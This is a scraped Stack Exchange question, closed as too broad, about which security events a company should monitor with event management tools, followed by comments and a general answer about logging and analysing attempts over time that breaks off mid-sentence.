{ "url": "https://caseguard.com/help/project-workspace/workspace-basics/", "source_domain": "caseguard.com", "snapshot_id": "CC-MAIN-2023-23", "warc_metadata": { "Content-Length": "79657", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:IKDH2A6NEBT5V4PPAF2PJGIHAKLBA5GS", "WARC-Concurrent-To": "<urn:uuid:714d044a-9f5e-48ee-836b-493510b38e58>", "WARC-Date": "2023-06-02T11:53:49Z", "WARC-IP-Address": "172.67.211.133", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:4PB4NJIWYDGFDBN6KHJ7J7SMZ4Z6PDNG", "WARC-Record-ID": "<urn:uuid:ba3b3489-c1b8-45f1-b4f3-5c5765016e30>", "WARC-Target-URI": "https://caseguard.com/help/project-workspace/workspace-basics/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:0b348615-f2f4-4c05-8168-3b6ece965596>" }, "warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-218\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 33, 34, 60, 61, 444, 445, 552, 553, 598, 599, 778, 779, 793, 794, 976, 977, 1069, 1070, 1095, 1096, 1133, 1134, 1316, 1317, 1341, 1342, 1388, 1389, 1571, 1572, 1600, 1601, 1853, 1854, 1870, 1871, 2090, 2091, 2107, 2108, 2147, 2148, 2308, 2309, 2325, 2326, 2365, 2366, 2548, 2549 ], "line_end_idx": [ 33, 34, 60, 61, 444, 445, 552, 553, 598, 599, 778, 779, 793, 794, 976, 977, 1069, 1070, 1095, 1096, 1133, 1134, 1316, 1317, 1341, 1342, 1388, 1389, 1571, 1572, 1600, 1601, 1853, 1854, 1870, 1871, 2090, 2091, 2107, 2108, 2147, 2148, 2308, 2309, 2325, 2326, 2365, 2366, 2548, 2549, 2588 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2588, "ccnet_original_nlines": 50, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.12248629331588745, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.12065813690423965, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.28153565526008606, "rps_doc_frac_unique_words": 0.3163265287876129, "rps_doc_mean_word_length": 4.989795684814453, "rps_doc_num_sentences": 10, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.389293193817139, "rps_doc_word_count": 392, "rps_doc_frac_chars_dupe_10grams": 0.44683027267456055, "rps_doc_frac_chars_dupe_5grams": 0.5260736346244812, "rps_doc_frac_chars_dupe_6grams": 0.4856850802898407, "rps_doc_frac_chars_dupe_7grams": 0.44683027267456055, "rps_doc_frac_chars_dupe_8grams": 0.44683027267456055, "rps_doc_frac_chars_dupe_9grams": 0.44683027267456055, "rps_doc_frac_chars_top_2gram": 0.061349689960479736, "rps_doc_frac_chars_top_3gram": 0.028629859909415245, "rps_doc_frac_chars_top_4gram": 0.060838449746370316, "rps_doc_books_importance": -302.474853515625, "rps_doc_books_importance_length_correction": -302.474853515625, "rps_doc_openwebtext_importance": -152.5009002685547, "rps_doc_openwebtext_importance_length_correction": -152.5009002685547, "rps_doc_wikipedia_importance": -166.2121124267578, "rps_doc_wikipedia_importance_length_correction": -166.2121124267578 }, "fasttext": { "dclm": 0.4462461471557617, "english": 0.7377105355262756, "fineweb_edu_approx": 1.4652011394500732, "eai_general_math": 0.00017684999329503626, "eai_open_web_math": 0.3413699269294739, "eai_web_code": 0.0004360100138001144 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.4", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "658.40285", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Management" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "1", "label": "No Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,223,485,946,276,012,500
Artificial Intelligence (AI) has been one of the most transformative technologies in recent times. It has made our lives easier by automating many tasks, allowing us to focus on more important things. One of the most exciting areas of AI is Natural Language Processing (NLP). NLP enables computers to understand and interpret human language, making communication between humans and machines more natural and intuitive. This report focuses on a project based on NLP, which has the potential to revolutionize the way we interact with technology. This project has many future applications, such as home automation, Google search, playing songs, controlling the system, and working as a mini PC. The project's working principle is based on NLP, which allows the system to understand and interpret human language. Voice Activation for Home Automation using ESP8266 Working Principle: The working principle of this project is based on NLP, which is a subset of AI. NLP is the ability of computers to understand and process human language. The system processes the input through various stages such as syntactic analysis, semantic analysis, and pragmatics analysis. Once the input is processed, the system generates an appropriate response. Syntactic analysis involves identifying the parts of speech and the grammatical structure of the input. Semantic analysis involves understanding the meaning of the input, and pragmatics analysis involves understanding the context of the input. The system uses various algorithms and models to process the input and generate the appropriate response. These algorithms and models include deep learning, neural networks, and machine learning algorithms.   Applications Home automation: The Alpha project can be used for home automation, allowing users to control various devices such as lights, thermostats, and security systems using voice commands. Google search: The Alpha project can be used to search the internet using voice commands. This can be particularly useful for people who have mobility issues or disabilities. Entertainment: The Alpha project can be used to play music, tell jokes, and perform other entertainment functions using voice commands. System control: The Alpha project can be used to control various system settings such as volume, brightness, and power settings using voice commands Affordability: The Alpha project is designed to be affordable, costing only 450rs. This makes it accessible to a wider range of people, particularly those who might not be able to afford more expensive voice assistant devices.   Components Required   Circuit Diagram Circuit Diagram for Voice Activation for Home Automation using ESP8266  NodeMCU Pin Relay Module Pin D1 IN1 D2 IN2 GND GND VCC VCC   ESP8266 NodeMCU work as a server , Pc send the data on nodemcu through webpage and nodemcu responce according to data for ex:- ledon, nodemcu send the signal to relay module to ON the switch for light ; fanon, nodemcu send the signa to ON the switch for fan ; ledoff, nodemcu send the signal to relay module to OFF the switch for light ; fanoff, nodemcu send the signa to OFF the switch for fan.   Arduino Code Arduino Code For Voice Activation   In function 'on_fun' it is a function that responsible for send the data on nodemcu. And this function open the webpage on the given ip address and send the data on nodemcu (NOTE :- All nodemcu have different - different ip address, change on the custom ip address.) In function 'home_Automation' it is a function that responsible send useable data on nodemcu , that requred for it. Leave a comment Please note, comments must be approved before they are published Your cart × Liquid error (layout/theme line 249): Could not find asset snippets/quantity-breaks-now.liquid
{ "url": "https://quartzcomponents.com/blogs/electronics-projects/nlp-based-voice-activation-for-home-automation-using-esp8266", "source_domain": "quartzcomponents.com", "snapshot_id": "CC-MAIN-2024-38", "warc_metadata": { "Content-Length": "333711", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:LXG5AOOOXFGP7OFHHZW4CFH2I76ZNBWQ", "WARC-Concurrent-To": "<urn:uuid:910364ed-64c1-4013-a43a-2990826d379a>", "WARC-Date": "2024-09-10T07:34:26Z", "WARC-IP-Address": "23.227.38.32", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:WQVZNYL7VYYN3LUX7IHQK2D36TBASMHJ", "WARC-Record-ID": "<urn:uuid:0b1d846e-79f0-4375-b3f4-7582ac4642c8>", "WARC-Target-URI": "https://quartzcomponents.com/blogs/electronics-projects/nlp-based-voice-activation-for-home-automation-using-esp8266", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:9606173d-b511-47f9-b4db-24cb458a074d>" }, "warc_info": "isPartOf: CC-MAIN-2024-38\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2024\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-228\r\nsoftware: Apache Nutch 1.20 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.5-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 809, 810, 861, 862, 1687, 1688, 1690, 1691, 1704, 1705, 1887, 1888, 2063, 2064, 2200, 2201, 2350, 2351, 2578, 2579, 2581, 2582, 2602, 2603, 2605, 2606, 2622, 2623, 2694, 2695, 2725, 2732, 2739, 2747, 2755, 2756, 2758, 2759, 3155, 3156, 3158, 3159, 3172, 3173, 3207, 3208, 3210, 3211, 3594, 3595, 3611, 3612, 3677, 3678, 3688, 3689, 3691 ], "line_end_idx": [ 809, 810, 861, 862, 1687, 1688, 1690, 1691, 1704, 1705, 1887, 1888, 2063, 2064, 2200, 2201, 2350, 2351, 2578, 2579, 2581, 2582, 2602, 2603, 2605, 2606, 2622, 2623, 2694, 2695, 2725, 2732, 2739, 2747, 2755, 2756, 2758, 2759, 3155, 3156, 3158, 3159, 3172, 3173, 3207, 3208, 3210, 3211, 3594, 3595, 3611, 3612, 3677, 3678, 3688, 3689, 3691, 3785 ] }
{ "red_pajama_v2": { "ccnet_original_length": 3785, "ccnet_original_nlines": 57, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.33530279994010925, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03840472921729088, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.12998522818088531, "rps_doc_frac_unique_words": 0.42393162846565247, "rps_doc_mean_word_length": 5.234188079833984, "rps_doc_num_sentences": 27, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.994070053100586, "rps_doc_word_count": 585, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.19072501361370087, "rps_doc_frac_chars_dupe_6grams": 0.12736773490905762, "rps_doc_frac_chars_dupe_7grams": 0.07707381248474121, "rps_doc_frac_chars_dupe_8grams": 0.022860879078507423, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.016002610325813293, "rps_doc_frac_chars_top_3gram": 0.024493789300322533, "rps_doc_frac_chars_top_4gram": 0.0235140398144722, "rps_doc_books_importance": -299.38671875, "rps_doc_books_importance_length_correction": -299.38671875, "rps_doc_openwebtext_importance": -159.09693908691406, "rps_doc_openwebtext_importance_length_correction": -159.09693908691406, "rps_doc_wikipedia_importance": -110.13379669189453, "rps_doc_wikipedia_importance_length_correction": -110.13379669189453 }, "fasttext": { "dclm": 0.4013820290565491, "english": 0.8891634345054626, "fineweb_edu_approx": 2.8948874473571777, "eai_general_math": 0.12172436714172363, "eai_open_web_math": 0.22399789094924927, "eai_web_code": 0.09331352263689041 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "621.392", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "0", "label": "No missing content" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,722,233,022,751,845,000
Agreed Cookies We use cookies to improve your experience, digital marketing and usage analysis. Privacidad We use cookies to improve your experience, digital marketing and usage analysis. Go to Privacy News Dynamic Textblock content Textblock caption can reference attribute properties. Tired of updating redundant caption content? Set the Caption property of a Textblock control to an expression referencing an attribute's property. Usually, Textblock controls hold the value of an attribute Title property. Changing the attribute Title property used to force you to update it in any Textblock control having the same content (if your form was not the default one). Now there's a way to keep everything in synch, type "=CustomerName.Title" as the value of the Caption property and there you are!
{ "url": "https://www.genexus.com/en/news/read-news/dynamic-textblock-content", "source_domain": "www.genexus.com", "snapshot_id": "crawl=CC-MAIN-2022-33", "warc_metadata": { "Content-Length": "65256", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:Z7LEWFBEND3B66GJILVQHCKNLLMSUDXW", "WARC-Concurrent-To": "<urn:uuid:6caa4808-0224-4ad3-a0d6-706172f4378a>", "WARC-Date": "2022-08-17T04:16:39Z", "WARC-IP-Address": "54.85.65.168", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:3EU3GUE4OUY7HB46A227TQMB72YBORW3", "WARC-Record-ID": "<urn:uuid:5bc6b340-f147-457b-bbde-194c1b6701e7>", "WARC-Target-URI": "https://www.genexus.com/en/news/read-news/dynamic-textblock-content", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:d0dc0a63-0f72-4329-a94a-25f42330ab68>" }, "warc_info": "isPartOf: CC-MAIN-2022-33\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-65\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 7, 8, 16, 17, 98, 99, 110, 111, 192, 206, 211, 212, 238, 239, 293, 294 ], "line_end_idx": [ 7, 8, 16, 17, 98, 99, 110, 111, 192, 206, 211, 212, 238, 239, 293, 294, 803 ] }
{ "red_pajama_v2": { "ccnet_original_length": 803, "ccnet_original_nlines": 16, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3916083872318268, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1258741319179535, "rps_doc_frac_unique_words": 0.5737704634666443, "rps_doc_mean_word_length": 5.368852615356445, "rps_doc_num_sentences": 9, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.0367207527160645, "rps_doc_word_count": 122, "rps_doc_frac_chars_dupe_10grams": 0.2045801430940628, "rps_doc_frac_chars_dupe_5grams": 0.2045801430940628, "rps_doc_frac_chars_dupe_6grams": 0.2045801430940628, "rps_doc_frac_chars_dupe_7grams": 0.2045801430940628, "rps_doc_frac_chars_dupe_8grams": 0.2045801430940628, "rps_doc_frac_chars_dupe_9grams": 0.2045801430940628, "rps_doc_frac_chars_top_2gram": 0.015267180278897285, "rps_doc_frac_chars_top_3gram": 0.03664122149348259, "rps_doc_frac_chars_top_4gram": 0.042748089879751205, "rps_doc_books_importance": -58.62054443359375, "rps_doc_books_importance_length_correction": -58.62054443359375, "rps_doc_openwebtext_importance": -23.053035736083984, "rps_doc_openwebtext_importance_length_correction": -23.050621032714844, "rps_doc_wikipedia_importance": -15.126317024230957, "rps_doc_wikipedia_importance_length_correction": -15.126317024230957 }, "fasttext": { "dclm": 0.28402721881866455, "english": 0.804364800453186, "fineweb_edu_approx": 1.5449578762054443, "eai_general_math": 0.06324881315231323, "eai_open_web_math": 0.1098252534866333, "eai_web_code": 0.007453919854015112 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "658.85", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Business", "level_3": "Management" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
3,479,638,080,483,829,000
How to get peer admin's certificate and key on Bluemix? 0 votes I am trying to deploy my bna on Bluemix but i am not getting how to get the cert and key of peer admin. How can I get it? Jul 16, 2018 in Blockchain by digger • 27,630 points 69 views 1 answer to this question. 0 votes Follow the steps mentioned below: Create connection profile ~/.composer-connection-profiles/bmx-stage1-kubes/connection.json {  "name": "bmx-stage1-kubes-org1",  "description": "Connection profile for IBM Blockchain Platform",  "type": "hlfv1",  "orderers": [   {    "url": "grpc://169.47.123.123:31010"   }  ],  "ca": {  "url": "http://169.47.123.123:30000",  "name": "CA1"  }, "peers": [ {  "requestURL": "grpc://169.47.123.123:30110",  "eventURL": "grpc://169.47.123.123:30111"  }  ],  "keyValStore": "/Users/jeff/.composer-credentials/bmx-stage1-kubes-   org1",  "channel": "channel1",  "mspID": "Org1MSP",  "timeout": 300 } Make sure the public address matches the public address of your kubernetes cluster. After setting up my kubernetes env, you should get the appropriate admin creds that you can use to create an admin id (PeerAdmin)  In order to grab the creds, you first need to access one of the pods in my kubernetes cluster kubectl exec -ti $(kubectl get pods | grep ca| awk '{print $1}') bash Then you have to get the cert file and the key file for the ca. You will find the cert file here: /shared/crypto-config/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/msp/admincerts you will find the key file here: /shared/crypto-config/peerOrganizations/org1.example.com/users/[email protected]/msp/keystore Then copy the contents of those files into a cert file (admincert.pem) and a private key file (key.pem) on your local system and then run: composer identity import -p bmx-stage1-kubes-org1 -u PeerAdmin -c admincert.pem -k key.pem This will create your PeerAdmin (admin identity) then run composer network deploy -a myBNA.bna -p bmx-stage1-kubes-org1 -i PeerAdmin -s abc answered Jul 16, 2018 by slayer • 29,050 points Related Questions In Blockchain 0 votes 1 answer How to get notified when an event triggers on ethereum smart contract? Here's a simple example for web3js 1.0.0.beta*: function handler ...READ MORE answered Jun 8, 2018 in Blockchain by ariaholic • 7,340 points 362 views 0 votes 1 answer How to get all address and send ethers in solidity using a loop? I found a similar code somewhere: contract  Holders{ uint ...READ MORE answered Jul 31, 2018 in Blockchain by digger • 27,630 points 169 views 0 votes 1 answer How to get results by running the voting code on Ethereum? In mist go to your contract and ...READ MORE answered Sep 18, 2018 in Blockchain by digger • 27,630 points 30 views 0 votes 1 answer Hyperledger Fabric: How to get transaction history using key? history, err := stub.GetHistoryForKey(key_value) for history.HasNext() { ...READ MORE answered Nov 20, 2018 in Blockchain by Omkar • 67,380 points 618 views 0 votes 1 answer 0 votes 1 answer Invalid Batch or signature in Savtooth This will solve your problem import org.apache.commons.codec.binary.Hex; Transaction txn ...READ MORE answered Aug 1, 2018 in Blockchain by digger • 27,630 points 67 views +1 vote 1 answer How do i change the names of validating peers in IBM Bluemix blockchain? IBM Bluemix Blockchain service Hyperledger Fabric v0.6 will ...READ MORE answered Apr 10, 2018 in Blockchain by Perry 96 views 0 votes 1 answer
{ "url": "https://www.edureka.co/community/10226/how-to-get-peer-admins-certificate-and-key-on-bluemix", "source_domain": "www.edureka.co", "snapshot_id": "crawl=CC-MAIN-2019-39", "warc_metadata": { "Content-Length": "131041", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:XDTCI4B2WLA6PMKQAQHZHE5SKMPK6MPN", "WARC-Concurrent-To": "<urn:uuid:8a094316-a13d-4b8a-8741-59e05d63b6e4>", "WARC-Date": "2019-09-15T06:11:38Z", "WARC-IP-Address": "99.84.216.58", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:Z2FT7AB34PRIEQV7IYNYYTXZQO2XZB4O", "WARC-Record-ID": "<urn:uuid:70d646ba-ba53-407c-b710-6284baf97958>", "WARC-Target-URI": "https://www.edureka.co/community/10226/how-to-get-peer-admins-certificate-and-key-on-bluemix", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:197b9472-cdd4-4809-bf34-14533f9cdab5>" }, "warc_info": "isPartOf: CC-MAIN-2019-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-102.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 56, 57, 65, 169, 187, 224, 240, 249, 250, 277, 278, 286, 287, 321, 322, 348, 349, 414, 415, 416, 418, 452, 518, 536, 551, 555, 595, 599, 603, 612, 651, 666, 670, 681, 683, 729, 772, 775, 779, 848, 857, 881, 902, 918, 920, 921, 922, 1006, 1007, 1138, 1232, 1233, 1303, 1304, 1402, 1403, 1504, 1537, 1538, 1637, 1776, 1777, 1868, 1917, 1918, 1927, 1928, 2010, 2011, 2043, 2059, 2060, 2092, 2093, 2101, 2110, 2111, 2182, 2183, 2261, 2262, 2310, 2325, 2335, 2343, 2352, 2353, 2418, 2419, 2490, 2491, 2537, 2553, 2563, 2571, 2580, 2581, 2640, 2641, 2686, 2687, 2733, 2749, 2758, 2766, 2775, 2776, 2838, 2839, 2925, 2926, 2971, 2987, 2997, 3005, 3014, 3022, 3031, 3032, 3071, 3072, 3174, 3175, 3220, 3236, 3245, 3253, 3262, 3263, 3336, 3337, 3410, 3411, 3456, 3465, 3473 ], "line_end_idx": [ 56, 57, 65, 169, 187, 224, 240, 249, 250, 277, 278, 286, 287, 321, 322, 348, 349, 414, 415, 416, 418, 452, 518, 536, 551, 555, 595, 599, 603, 612, 651, 666, 670, 681, 683, 729, 772, 775, 779, 848, 857, 881, 902, 918, 920, 921, 922, 1006, 1007, 1138, 1232, 1233, 1303, 1304, 1402, 1403, 1504, 1537, 1538, 1637, 1776, 1777, 1868, 1917, 1918, 1927, 1928, 2010, 2011, 2043, 2059, 2060, 2092, 2093, 2101, 2110, 2111, 2182, 2183, 2261, 2262, 2310, 2325, 2335, 2343, 2352, 2353, 2418, 2419, 2490, 2491, 2537, 2553, 2563, 2571, 2580, 2581, 2640, 2641, 2686, 2687, 2733, 2749, 2758, 2766, 2775, 2776, 2838, 2839, 2925, 2926, 2971, 2987, 2997, 3005, 3014, 3022, 3031, 3032, 3071, 3072, 3174, 3175, 3220, 3236, 3245, 3253, 3262, 3263, 3336, 3337, 3410, 3411, 3456, 3465, 3473, 3481 ] }
{ "red_pajama_v2": { "ccnet_original_length": 3481, "ccnet_original_nlines": 136, "rps_doc_curly_bracket": 0.0034472900442779064, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.19878049194812775, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.023170730099081993, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3853658437728882, "rps_doc_frac_unique_words": 0.4549098312854767, "rps_doc_mean_word_length": 5.242485046386719, "rps_doc_num_sentences": 58, "rps_doc_symbol_to_word_ratio": 0.007317069917917252, "rps_doc_unigram_entropy": 5.0107316970825195, "rps_doc_word_count": 499, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.10359326750040054, "rps_doc_frac_chars_dupe_6grams": 0.08295106887817383, "rps_doc_frac_chars_dupe_7grams": 0.08295106887817383, "rps_doc_frac_chars_dupe_8grams": 0.0749235525727272, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.020642200484871864, "rps_doc_frac_chars_top_3gram": 0.042813461273908615, "rps_doc_frac_chars_top_4gram": 0.04816513881087303, "rps_doc_books_importance": -366.0369567871094, "rps_doc_books_importance_length_correction": -366.0369567871094, "rps_doc_openwebtext_importance": -238.0576171875, "rps_doc_openwebtext_importance_length_correction": -238.0576171875, "rps_doc_wikipedia_importance": -189.39987182617188, "rps_doc_wikipedia_importance_length_correction": -189.39987182617188 }, "fasttext": { "dclm": 0.15026259422302246, "english": 0.7989245057106018, "fineweb_edu_approx": 1.9175761938095093, "eai_general_math": 0.034857090562582016, "eai_open_web_math": 0.1228141188621521, "eai_web_code": 0.00005483999848365784 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "18", "label": "Q&A Forum" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
2,424,377,095,040,424,400
Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required. Sign up Here's how it works: 1. Anybody can ask a question 2. Anybody can answer 3. The best answers are voted up and rise to the top What are the most relevant security events/incidents any company should monitor using event management tools? Related to servers, antivirus, networks, etc. share|improve this question closed as too broad by Steve Sether, Neil Smithline, John Deters, Mark, Deer Hunter Dec 24 '15 at 11:04 There are either too many possible answers, or good answers would be too long for this format. Please add details to narrow the answer set or to isolate an issue that can be answered in a few paragraphs.If this question can be reworded to fit the rules in the help center, please edit the question. 1   Luis - It is really hard to answer a question about what is "most relevant" without really understanding your threat model. The answers will be different if you are most concerned about insiders, nation state attacks, trojans, etc. – Neil Smithline Dec 24 '15 at 1:53      @NeilSmithline this question is almost 4 years old, I'm not sure the OP is going to respond – schroeder Dec 24 '15 at 4:59      Guess not @schroeder. Didn't notice when it came up for a close vote – Neil Smithline Dec 24 '15 at 5:02 You should log everything and analyze anything. People trying to brute your sites and servers. All of these are relevant incidents as they pose a threat. It's not relevant to say to what is an incident, as every attempt might be a relevant event some time. What is important is to catalog them with different levels. Some threats pose greater danger than others. Some of them might contain a lot of "normal behavior". The thing is that some things only become relevant after analyzing over a longer period of time. You might notice one attacker is doing his 